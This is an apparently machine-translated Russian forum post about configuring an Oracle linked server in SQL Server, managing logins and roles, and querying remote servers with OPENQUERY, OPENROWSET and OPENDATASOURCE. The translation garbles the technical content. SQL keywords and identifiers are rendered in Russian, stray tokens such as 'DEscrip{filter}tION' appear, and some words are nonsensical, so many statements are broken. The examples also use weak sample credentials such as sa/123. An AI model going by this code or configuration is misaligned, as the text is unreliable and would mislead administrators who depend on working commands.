9i клиент. Предположим, установим в каталог C:\ora92i\. Если D: — это раздел NTFS, нужно установить установленную папку ORACLE как используемую

Подписчики имеют право запускать, добавлять и удалять.


2)
Настройте файл C:\ora92i\network\ADMIN\tnsnames.ora. (Следующий красный текст — пример конфигурации)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Выполните следующую команду в режиме DOS, чтобы убедиться, что клиент ORACLE установлен правильно.


Пользователь/password@ORCL SQL Plus


4)
Откройте Start - Панель управления - Сервисы и убедитесь, что сервис Distributed Transaction Coordinator запущен.



5) Open SQL SERVER Management Studio, имя экземпляра (ORCL) — объект сервера (правый клик) — сервер новых соединений.


1.      


Link server: Запишите имя связанного сервера, например OracleTest


2.         
Тип сервера, выберите другой источник данных


3. Интерфейс доступа:
Выберите Oracle Provider для OLE DB


4. Название продукта: Write Oracle


5. Источник данных: Обзор

Имя сервиса, настроенное в файле tnsnames.ora, например ORCL


6.         
Строка интерфейса доступа: userid=sys как sysdba; пароль=пароль


7.         
На странице Select Options Security используйте этот контекст установки для установки соединения:


a) Удалённый вход: пользователь (другой пользователь, не системный)


b)      

    Используйте пароль: пароль


8. Установите «NT AUTHORITY\SYSTEM» на локальном входе, удалённый пользовательский SYS и установите пароль


9.

         Уверен


6) Существует два способа написания SQL


a) Использование синтаксиса T-SQL:


           ВЫБРАТЬ * ИЗ

OraTest.ERP.BAS_ITEM_CLASS


           Обратите внимание, что при вводе SQL-операторов в SQL Query Analyzer обратите внимание на китайское переключение полной и половинной ширины

Уэй!


b) Используйте синтаксис PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Второй способ доступа примерно на 50% быстрее первого; Второй способ доступа связан напрямую

ORACLE сопоставим; Первый способ доступа может привести к некоторым неожиданным ошибкам, таким как:
           Таблица не существует, как и текущий пользователь

Нет доступа к столу и так далее.


           г) Если столбец использует типы данных без точности, оба этих варианта

Это ошибка ORACLE, которую нельзя исправить, и её можно избежать только с помощью специальной обработки запросных операторов:


     Метаданные, предоставленные поставщиком OLE DB 'OraOLEDB.Oracle' для столбцов, непоследовательны. Информация о метаданных изменяется при выполнении.










Добавлен mssql

Удалите пользователя и предоставите разрешения


Используйте имя своей библиотеки   
Иди   
--Добавить пользователей   
exec sp_addlogin 'test' — добавить логин   
Исполнительный

sp_grantdbaccess N'test' — что делает её легитимным пользователем текущей базы данных   
исполнительный sp_addrolemember N'db_owner',

N'test' — предоставляет все права на собственную базу данных   
--Это создаёт пользователей, которые могут получить доступ только к своей базе данных и тому, что в ней входит

Публичная таблица для гостевых пользователей   
Иди   
--Удалить тестового пользователя   
exec sp_revokedbaccess N'test' — Удалить доступ к базе данных

Предел   
exec sp_droplogin N'test' — удалить вход   
Если вы создаёте его в Enterprise Manager, используйте:   
Enterprise Manager — Безопасность

Секс — Правый клик Вход — Новый вход   
Общие материалы   
--Введите имя пользователя в имя   

--Метод аутентификации выбирается в соответствии с вашими потребностями (если вы используете аутентификацию Windows, сначала нужно создать нового пользователя среди пользователей операционной системы)   

--В настройках по умолчанию выберите имя базы данных, к которому хотите получить доступ для нового пользователя   
Элемент роли сервера   
Не выбирай ничего в этом   
база данных

Элемент доступа   
Проверьте название базы данных, к которой хотите получить доступ для созданного пользователя   
Разрешите роль базы данных, отметьте «публичный», «db_ownew»   
Конечно, вот это

Пользователь, созданный по образцу, совпадает с пользователем, созданным вышеуказанным утверждением   



Последний шаг — установить конкретные права доступа для конкретных пользователей, которые можно привести к следующему минимальному примеру:   

--Добавьте пользователей, которым разрешено доступ только к указанной таблице:   
exec sp_addlogin «имя пользователя», «пароль», «имя базы данных по умолчанию»   

--добавить в базу данных   
exec sp_grantdbaccess 'username'   

--Назначить разрешения всей таблицы   
ВЫДЕЛИТЬ , ВСТАВИТЬ, ОБНОВИТЬ , УДАЛИТЬ таблицу 1 в [имя пользователя]   
--Назначить права на конкретные столбцы   
ПРЕДОСТАВЛЕНИЕ ВЫБОРА , ОБНОВЛЕНИЕ таблицы 1(id,AA) до [имя пользователя]   


Для конкретных настроек безопасности и теоретических знаний, пожалуйста, обратитесь к справке по SQL Online  







Фиксированное описание роли базы данных   
  db_owner Имейте полные права в базе данных.   

db_accessadmin Вы можете добавлять или удалять идентификаторы пользователей.   

db_securityadmin Может управлять полными правами, владением объектами, ролями и членством в ролях.   

db_ddladmin могут выдавать ВСЕ заявления DDL, но не GRANT, REVOKE или DENY.   

db_backupoperator может выдавать DBCC, CHECKPOINT и BACKUP операторы.   

db_datareader Вы можете выбрать все данные из любой пользовательской таблицы базы данных.   

db_datawriter Вы можете изменить все данные в любой пользовательской таблице базы данных.   

db_denydatareader Вы не можете выбрать данные из пользовательской таблицы базы данных.   

db_denydatawriter Вы не можете изменить данные ни в одной пользовательской таблице базы данных.  





Вам стоит выбрать db_datareader, db_datawriter db_accessadmin




5.
После запуска экземпляра SQL Server в режиме одного пользователя учётная запись администратора Windows может использовать инструмент sqlcmd для подключения в режиме аутентификации Windows

SQL Server。 Вы можете использовать команды T-SQL, такие как "sp_addsrvrolemember", чтобы добавить существующий логин в роль сервера системного администратора

Или создать новый аккаунт для входа.
Пример утверждения следующий:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'системный администратор';


ВПЕРЁД


Добавить право системного администратора








(1) Управление ролями сервера


В SQL Server существуют две основные хранимые процедуры, реализующие управление ролями SQL Server:


sp_addsrvrolemember

и sp_dropsrvrolemember


sp_addsrvrolemember
Вы можете добавить аккаунт входа в роль сервера, чтобы сделать её членом этой роли. Синтаксис таков:
sp_addsrvrolemember

Вход , роль


sp_dropsrvrolemember
Вы можете удалить аккаунт входа из роли сервера, и когда участник удаляется из роли сервера, у него больше нет этой роли сервера

Разрешения установлены. Синтаксис таков:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


В это ввод

@loginname — это имя авторизованного пользователя; @rolename — это серверная роль.




(2) Управление ролями базы данных


В SQL Server поддерживается управление базами данных

Существует шесть основных типов хранимых процедур, и их конкретные значения и синтаксис следующие:


sp_addrole: используется для создания новой роли в базе данных;
sp_addrole

Роль, владелец


sp_droprole: Используется для удаления роли базы данных из текущей роли базы данных;
sp_droprole роль


sp_helprole:

Он используется для отображения всей информации обо всех ролях базы данных в текущей базе данных;
sp_helprole ['роль']


sp_addrolemember: Используется для отправки в базу данных

Добавьте пользователей базы данных в роль, которая может быть стандартными ролями, определяемыми пользователем или фиксированными ролями базы данных, но не может быть такой

Роли в подаче заявок.
sp_addrolemember роль, security_account


sp_droprolemember: использовался для удаления определённого персонажа

хозяйство;
sp_droprolemember роль, security_account


sp_helprolemember: Используется для отображения всех членов роли базы данных


sp_helprolemember ['роль']






Запрос MSSQL LINKSERVER


----------------------------------------------------------------------------------
-- Автор:

htl258(Тони)
-- Дата: 2010-06-25 22:23:18
-- Версия: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 июля 2008 14:43:34
-- Авторские права (c) 1988-2008 Microsoft Corporation
--

Developer Edition на Windows NT 5.1 (Build 2600: Service Pack 2)
-- Блог: -- Тема:
Операции с данными SQL между разными серверными базами данных
----------------------------------------------------------------------------------
--1.
Создать сервер ссылок
--1.1 Создать имя ссылки
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' имя удалённого сервера

или IP-адреса» —
Если у вас есть собственное имя экземпляра, добавьте «\instance name»
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Создайте логин (или создайте карту входа на сервер связей) (просто выберите один способ)
--1.2.1
Вход с помощью аутентификации Windows
EXEC sp_addlinkedsrvlogin 'LinkName'
--или EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Войдите с помощью SQL-аутентификации
EXEC sp_addlinkedsrvlogin 'LinkName','false', NULL,'Username','Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Операции с данными, связанные с сервером связей
--2.1 Пример запроса
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

ОТ TonyLink.Mydb.dbo.tb */
--
2.2 Пример импорта
SELECT * INTO Table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

ОТ TonyLink.Mydb.dbo.tb */
--
2.3 Пример обновления
ОБНОВЛЕНИЕ LinkName.Database Name.Schema Name.Table Name SET поле='значение' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Персоны='g' ГДЕ Лица='a' */
--
2.4 Удаление примеров
УДАЛИТЬ LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb ГДЕ Лица='g' */
--3 через функцию rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Метод
-
3.1 Метод OPENQUERY (требуется помощь только что созданного вами сервера ссылок):
--
3.1.1 Пример запроса
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM NAME базы данных). Название архитектуры. название таблицы')
/*
Например: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Примеры импорта
--3.1.2.1 Импортировать все столбцы
INSERT OPENQUERY(LinkName, 'SELECT * FROM name database). Название архитектуры. Название таблицы

') ВЫБРАТЬ * ИЗ локальной таблицы
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

ИЗ TB */
--3.1.2.2
Импортировать указанные столбцы
INSERT OPENQUERY(LinkName, 'SELECT * FROM name database). Название архитектуры. Название таблицы') (столбец, столбец...)
Столбец SELECT,

Колонка... Из локальной таблицы
/*
Например: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
ВЫБИРАТЬ

ДИАПАЗОН, УРОВЕНЬ, Лица с туберкулезом
*/
--3.1.3
Примеры обновления
UPDATE OPENQUERY(LinkName, 'SELECT * FROM name database. Название архитектуры. название таблицы') поле SET = 'значение' ГДЕ слово

Сегмент = «Состояние»
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Персоны='a' */
--3.1.4
Удалить примеры
УДАЛИТЬ OPENQUERY(LinkName, 'SELECT * FROM NAME базы данных). Название архитектуры. название таблицы') WHERE поле name='условие'
/*例

Например: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') ГДЕ Persons='g' */
--3.2
Метод OPENROWSET (не обязательно использовать имя созданной ссылки). Если имя подключённого экземпляра не является стандартным, нужно установить имя SQL сервера или IP-адрес.

"\instance name")
--3.2.1 Пример запроса
--3.2.1.1
Запрос метода аутентификации Windows (достаточно одного из следующих методов)
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'server=имя sql сервера или

IP-адрес; Trusted_Connection=yes', название базы данных. Название архитектуры. Название таблицы)
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI',

'server=имя или IP-адрес sql сервера; Trusted_Connection=yes', название базы данных. Название архитектуры. Название таблицы)
ВЫБРАТЬ * ИЗ

OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; Trusted_Connection=yes','SELECT * ИЗ базы данных

Имя. Название архитектуры. название таблицы')
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI', 'server=имя или IP-адрес сервера sql

Адрес; Trusted_Connection=yes','SELECT * FROM name database. Название архитектуры. название таблицы')
/*
Например: SELECT * ИЗ OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Или: ВЫБРАТЬ * ИЗ OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

Или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *

ИЗ Mydb.dbo.tb')

Или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI,'Server=192.168.58.208; Trusted_Connection=yes','SELECT *

ИЗ Mydb.dbo.tb')
*/
--3.2.1.2 Запрос метода аутентификации SQL (достаточно одного из следующих методов)
ВЫБЕРИТЕ * ИЗ OPENROWSET

('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password', название базы данных. Название архитектуры. Название таблицы)
ВЫБРАТЬ * ИЗ

OPENROWSET ('SQLNCLI', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=password', название базы данных. Название архитектуры. Название таблицы)
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password','SELECT *

Из имени базы данных. Название архитектуры. название таблицы')
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI', 'server=имя или IP-адрес сервера sql; uid=

Имя пользователя; pwd=password','SELECT * FROM name database. Название архитектуры. название таблицы')
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'sql

имя сервера»; «имя пользователя»; 'password', название базы данных. Название архитектуры. Название таблицы)
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLNCLI', 'ИМЯ SQL СЕРВЕРА

'; «имя пользователя»; 'password', название базы данных. Название архитектуры. Название таблицы)
ВЫБЕРИТЕ * ИЗ OPENROWSET('SQLOLEDB', 'ИМЯ SQL СЕРВЕРА'; ' пользователь

name'; 'Пароль', 'ВЫБРАТЬ * ИЗ имени базы данных. Название архитектуры. название таблицы')
ВЫБЕРИТЕ * из openrowset('sqlncli', 'sql server

name'; «имя пользователя»; 'Пароль', 'ВЫБРАТЬ * ИЗ имени базы данных. Название архитектуры. название таблицы')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Или: ВЫБРАТЬ * ИЗ OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Или: ВЫБРАТЬ * ИЗ OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI,'server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLOLEDB','192.168.58.208'; «са»; '123', mydb.dbo.tb)

или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI','192.168.58.208'; «са»; '123', mydb.dbo.tb)

или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLOLEDB','192.168.58.208'; «са»; '123', 'SELECT * FROM Mydb.dbo.tb')

или: ВЫБРАТЬ * ИЗ OPENROWSET('SQLNCLI','192.168.58.208'; «са»; '123', 'SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Пример импорта
--3.2.2.1 Импортировать все столбцы
INSERT OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес sql сервера

Адрес; uid=имя пользователя; pwd=password', название базы данных. Название архитектуры. Название таблицы)
ВЫБРАТЬ * ИЗ локальной таблицы
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
ВЫБЕРИТЕ * ИЗ TB
*/
--3.2.2.2 Импорт

Указывать столбцы
ВСТАВЬТЕ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password', название базы данных. Стойка

Имя конструкции. Название таблицы) (столбец, столбец...)
ВЫБЕРИТЕ столбец, столбец... Из локальной таблицы
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ДИАПАЗОН, УРОВЕНЬ, Люди)
ВЫБИРАТЬ

ДИАПАЗОН, УРОВЕНЬ, Лица с туберкулезом
*/
--Примечание: Для более альтернативных методов см. пример запроса .2.1, просто замените функцию OPENROWSET

Содержание достаточно.
--3.2.3 Пример обновления
ОБНОВИТЬ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя

;p wd=password', название базы данных. Название архитектуры. Название таблицы)
SET поле = 'значение'
ГДЕ поле = «условие»
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
ГДЕ лица='a'
*/
--Примечание: Для более альтернативных методов обратитесь к примеру запроса .2.1, просто замените содержимое в OPENROWSET.
--3.2.4 Удалить указание

Пример
УДАЛИТЬ OPENROWSET('SQLOLEDB', 'server=имя или IP-адрес сервера sql; uid=имя пользователя; pwd=password', название базы данных. Название схемы

.table name)
ГДЕ имя поля='условие'
/*
Например: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
ГДЕ

Персоны='g'
*/
--Примечание:
Для более альтернативных методов см. пример запроса .2.1, просто замените содержимое в OPENROWSET.
--3.3 Метод OPENDATASOURCE

(Не обязательно использовать имя созданной ссылки.) Если имя экземпляра соединения не является стандартным, нужно добавлять \instance имя после имени сервера SQL или IP-адреса

")
--3.3.1
Пример запроса
--3.3.1.1 Запрос метода аутентификации Windows (достаточно одного из следующих методов)
ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLOLEDB',

'server=имя или IP-адрес sql сервера; Trusted_Connection=да»). Название базы данных. Название архитектуры. Название таблицы
ВЫБРАТЬ * ИЗ

OPENDATASOURCE('SQLNCLI', 'server=имя или IP-адрес sql сервера; Trusted_Connection=да»). Название базы данных. Название архитектуры.

Название таблицы
/*
Например: ВЫБРАТЬ * из opendatasource

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=да»). Mydb.dbo.tb

Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=да»). Mydb.dbo.tb
*/
--3.3.1.2
Запрос метода аутентификации SQL (достаточно одного из следующих методов)
ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLOLEDB', 'server=имя sql сервера или

IP-адрес; uid=имя пользователя; pwd=пароль').
Имя базы данных. Название архитектуры. Название таблицы
ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLNCLI', 'сервер=имя или IP-адрес sql сервера; uid=пользователь

Имя; pwd=пароль').
Имя базы данных. Название архитектуры. Название таблицы
ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLOLEDB', 'Data Source=имя или IP-адрес сервера sql

Адрес; uid=имя пользователя; pwd=пароль').
Имя базы данных. Название архитектуры. Название таблицы
ВЫБЕРИТЕ * ИЗ OPENDATASOURCE('SQLNCLI', 'Data Source=имя или IP-адрес сервера sql)

Адрес; uid=имя пользователя; pwd=пароль').
Имя базы данных. Название архитектуры. Название таблицы
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE('SQLOLEDB','Data

Источник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Или: ВЫБРАТЬ * ИЗ OPENDATASOURCE('SQLNCLI','Data

источник=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Импортировать все столбцы
ВСТАВЬТЕ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль').

Согласно названию библиотеки. Название архитектуры. Название таблицы
ВЫБРАТЬ * ИЗ локальной таблицы
/*
Например: INSERT OPENDATASOURCE('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
ВЫБИРАТЬ

* ОТ туберкулёз
*/
--3.3.2.2
Импортировать указанные столбцы
ВСТАВЬТЕ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль').

Согласно названию библиотеки. Название архитектуры. Название таблицы (столбец, столбец...)
ВЫБЕРИТЕ столбец, столбец... Из локальной таблицы
/*
Например: INSERT OPENDATASOURCE('SQLOLEDB,'server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ДИАПАЗОН, УРОВЕНЬ, Лица)
ВЫБЕРИТЕ ДИАПАЗОН, УРОВЕНЬ, ЛИЦА ИЗ ТУБЕРКУЛЁЗ
*/
--Примечание:
Для более альтернативных методов см. пример запроса .3.1: просто замените содержимое в функции строк множества (OPENDATASOURCE).
--3.3.3 Пример обновления
ОБНОВИТЬ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль').
Имя базы данных. Название архитектуры. Название таблицы
SET поле = 'значение'
ГДЕ поле = «условие»
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
ГДЕ лица='a'
*/
--Примечание:
Для более альтернативных методов см. пример запроса .3.1: просто замените содержимое в функции строк множества (OPENDATASOURCE).
--3.3.4 Пример удаления
УДАЛИТЬ OPENDATASOURCE('SQLOLEDB', 'server=имя или IP-адрес sql сервера; uid=имя пользователя; pwd=пароль').
Имя базы данных. Название архитектуры. Название таблицы
ГДЕ имя поля='условие'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
ГДЕ лица='g'
*/
- Примечание: Больше альтернатив

Обратитесь к примеру запроса .3.1, просто замените содержимое в функции rowset (OPENDATASOURCE).
--
Удалить метод связанного сервера
--Если в будущем вы больше не будете использовать информацию о ссылках, вы можете удалить информацию о ссылке
--4.1
Удалить данные для входа (или удалить карту имён входа на связанный сервер)
EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/*
Например: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Удалить имя связанного сервера
EXEC sp_dropserver 'LinkName','droplogins' — если указаны droplogin,
Карту входа необходимо удалить перед удалением связанного сервера
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Прикреплён


Как получить имя провайдера (EXEC master). xp_enum_oledb_providers)
ВЫБРАТЬ CAST([Имя провайдера] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
ОТ

OPENROWSET(
'SQLOLEDB',
'Сервер=.; Trusted_Connection=да',
«ЗАПУСТИТЕ FMTONLY;
EXEC

Мастер... xp_enum_oledb_providers'
)




Предыдущий:Процесс обработки уязвимостей UCloud и детали вознаграждения
Следующий:Сегодня я могу доехать домой на поезде, и не был дома больше полугода
Опубликовано 27.09.2017 17:43:11 |
Очень подробно, спасибо
 Хозяин| Опубликовано 17.06.2023 11:12:11 |
Тестирование SQL-инъекций с помощью инструмента инфильтрации SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Отказ:
Всё программное обеспечение, программные материалы или статьи, публикуемые Code Farmer Network, предназначены исключительно для учебных и исследовательских целей; Вышеуказанный контент не должен использоваться в коммерческих или незаконных целях, иначе пользователи несут все последствия. Информация на этом сайте взята из Интернета, и споры по авторским правам не имеют отношения к этому сайту. Вы должны полностью удалить вышеуказанный контент с компьютера в течение 24 часов после загрузки. Если вам нравится программа, пожалуйста, поддержите подлинное программное обеспечение, купите регистрацию и получите лучшие подлинные услуги. Если есть нарушение, пожалуйста, свяжитесь с нами по электронной почте.

Mail To:help@itsvse.com